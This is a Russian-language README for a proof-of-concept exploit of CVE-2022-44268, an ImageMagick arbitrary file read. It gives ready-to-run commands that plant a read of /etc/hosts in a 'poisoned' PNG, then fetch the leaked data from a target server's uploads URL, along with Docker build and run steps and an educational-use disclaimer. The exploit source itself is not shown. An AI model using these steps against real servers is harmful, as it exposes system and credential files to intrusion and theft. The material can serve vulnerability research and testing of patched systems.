CVE-2022-44268 🧙‍♂️

CVE-2022-44268 ImageMagick произвольное чтение файлов — эксплойт Proof of Concept

Видео 📼

https://youtu.be/quKxwNAMBIA

Использование 🛠

Отравляем изображение ☣️

python3 CVE-2022-44268.py --image imagetopoison.png --file-to-read /etc/hosts --output poisoned.png

Загрузите отравленное PNG-изображение.

Проверяем, успешен ли эксплойт 🗡

python3 CVE-2022-44268.py --url http://vulnerable-imagemagick.com/uploads/vulnerable.png

Запуск из Docker 🐳

Сборка

docker build -t cve-2022-44268 .

Запуск

docker run -v $(pwd)/data:/data -ti cve-2022-44268 --image /data/random.png --file-to-read "/etc/hosts" --output /data/poisoned.png

Параметры 🧰

Контакты 📇

Twitter - Milan Jovic

LinkedIn - Milan Jovic

Только в образовательных целях и не может использоваться для нарушения закона или личной выгоды.

Автор этого проекта не несет ответственности за любой возможный вред, причиненный материалами этого проекта.

Подробнее: https://www.metabaseq.com/imagemagick-zero-days/